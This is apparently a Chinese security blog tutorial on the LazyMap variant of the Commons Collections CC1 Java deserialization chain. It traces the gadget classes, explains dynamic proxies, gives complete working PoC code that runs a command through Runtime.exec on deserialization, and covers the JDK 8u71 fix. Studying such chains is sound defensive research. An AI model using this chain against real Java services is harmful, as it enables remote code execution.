本文将分析 LazyMap 版的 CC1 反序列化利用链。关于前置知识与环境搭建,已在上一篇文章 TransformedMap版CC1链 中进行详细讲解,本篇不再赘述。相较于 TransformedMap 版本,LazyMap 的利用链整体结构变化不大,但在实现细节上稍有差异,它出自ysoserial,下面直接进入核心分析。
LazyMap 版的 CC1 反序列化利用链分析
尾部同样还是InvokerTransformer,可以利用反射执行命令,执行命令详情还是在上一篇文章。代码如下:
1 2 3 4
| Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(runtime);
|
我们需要继续往前找,哪个类调用了transform()方法,还是同样操作

除了TransformedMap类,还发现LazyMap类中的get()方法调用了transform()方法,可以看到这就是该链的变化点。

转到LazyMap类
LazyMap类
跳转到get()
方法实现类,看到了factory.transform()
,因此后续factory传入invokerTransformer并调用get()
方法就可以执行命令,但是需要进入这个if,它判断map中是否存在这个key,如果不存在就会进入if里面。

TransformedMap与LazyMap的区别:TransformedMap是在put时传入key/value,而LazyMap是在get key时延迟创建 value
继续看一下factory是什么,在该类中搜索一下
发现factory参数和LazyMap构造方法的作用域都为protected,无法直接实例化。


同时发现一个静态方法,它会接受一个Transformer类型的factory并实例化LazyMap;该静态方法解决了参数受保护无法实例化LazyMap的问题。

写一下POC把LazyMap类和InvokerTransformer类串起来,看看能不能执行命令

成功弹计算器说明已经成功把这两个类串了起来
半成品POC
代码的解读已经写在了注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package CC1demo; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class LazyMapCCtest { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method method = lazyMapClass.getDeclaredMethod("get", Object.class); method.setAccessible(true); method.invoke(decoratemap,runtime); } }
|
因为半成品poc的get()方法是我们主动调用,目的是为了测试这两个类能不能串起来。接下来就该继续往前找,看看哪个类可以调用get()方法,继续右键查找用法会发现调用get()方法的类太多了,看一下ysoserial的payload的类是AnnotationInvocationHandler。
AnnotationInvocationHandler类
在该类的invoke()
方法中调用了get()
方法

找一下memberValues是什么

与上一篇相同,还是该类的构造方法,接收一个Class类型的type注解和Map类型memberValues
因此后续写POC时需要反射调用一个该类的构造方法以便把memberValues替换成LazyMap。
invoke方法中的两个if
invoke方法要调用到memberValues.get()
还要绕过两个if

第一个if
第一个if是通过equals()
方法判断invoke接收的method参数是不是与字符”equals”相等,因此只要不是就可以绕过这个if。
第二个if
第二个if判断参数长度与0的比较,paraTypes是方法的参数,如果参数长度为零也就是无参方法就可以绕过第二个if。
因此后续的需要一个无参方法才能绕过两个if从而执行get()方法
头部AnnotationInvocationHandler类
两个类虽然是同一个,但是目的和调用顺序不同,因此这里分两步写,与上面做区分;既然上方的invoke()
方法可以调用get()
方法,那么就需要再找一个能够调用invoke()
的方法。
这个类做头部的原因还是因为它重写了readobject()
方法同时还能够调用invoke()方法
动态代理介绍
先把动态代理理解了后续的链子就很容易理解。
接口代码源码
1 2 3
| public interface HelloService { void sayHello(String name); }
|
接口的实现类源码
1 2 3 4 5 6
| public class HelloServiceImpl implements HelloService { @Override public void sayHello(String name) { System.out.println("Hello, " + name + "!"); } }
|
我们可以通过接口HelloService来调用方法,而动态代理的作用就是可以不用写接口的实现类,直接用动态代理处理器来实现逻辑;当然,动态代理和接口实现类是可以共存的,可以通过代理增强已有的逻辑。我这里举例的是仅有接口和动态代理方便理解。
动态代理拦截器源码
1 2 3 4 5 6 7 8 9 10 11 12
|
public class HelloInvocationHandler implements InvocationHandler { private final HelloService target; @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("jjxxx"); return null; } }
|
动态代理demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class Main { public static void main(String[] args) {
HelloService proxyInstance = (HelloService) Proxy.newProxyInstance( realService.getClass().getClassLoader(), new Class[]{HelloService.class}, new HelloInvocationHandler(realService) ); proxyInstance.sayHello("Alice"); } }
|
使用Proxy.newProxyInstance()
创建动态代理,其中需要传入三个参数:
第一个参数:类加载器
第二个参数:要代理的接口
都三个参数:拦截器(动态代理处理器)
总结一下就是再调用要代理的接口的方法时,就会触发拦截器,执行拦截器中的invoke方法。正好符合我们需要调用invoke方法的需求。
正题
InvocationHandler是动态代理处理器,AnnotationInvocationHandler类继承了InvocationHandler,因此AnnotationInvocationHandler也可以作为动态代理处理器。

因此写POC时应该再加上一个动态代理,POC再加上之前用到的ConstantTransformer,ChainedTransformer辅助链。
POC
代码解读在注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package CC1demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class lazymaptest { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer ); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = constructor.newInstance(Override.class, proxyInstance); serialize(o); unserialize("1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } }
|
运行后成功弹出计算器

流程图
建议多看看流程图,一些细节我都写在了上面。

总结
我在POC中没有写entrySet()
的无参方法,它被调用是因为头部类被序列化时调用readobject(),方法中包含的一个memberValues.entrySet()
方法也会被执行,走到该方法后,下一步就是头部类通过动态代理调用invoke()方法,从而走到if的判断并绕过它;走完if下一步就是memberValues.get()
,memberValues就是decorate修饰过的LazyMap;这样就会调用LazyMap.get()
,从而继续往后调用factory.transform()
,factory是我们传入的chainedTransformer,这样就会循环调用chainedTransformer内的数组,第一个数组是ConstantTransformer(Runtime.class)
,因此不管传的key是什么都会返回Runtime.class,循环完就会执行命令。
修复
在 JDK 8u71 及后续版本中,官方对 AnnotationInvocationHandler
类进行了重要修改:移除了该类的 readObject()
方法中的 setValue
方法调用,导致基于 TransformedMap
的CC1利用链无法利用。同时,反序列化机制也不再通过 defaultReadObject
方法来恢复对象属性,这一改动进一步影响了 AnnotationInvocationHandler
类的行为(readobject获取属性的方法改变),使基于 LazyMap
的利用链也无法正常使用;当然,官方对其的修复不仅这些,但是上方的修复方法已经让CC1无法利用。
JDK版本的更新引出了不受jdk版本限制的利用链CC6,关于 CC6我将在后续继续分析。


参考链接
https://liaoxuefeng.com/books/java/reflection/proxy/index.html
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/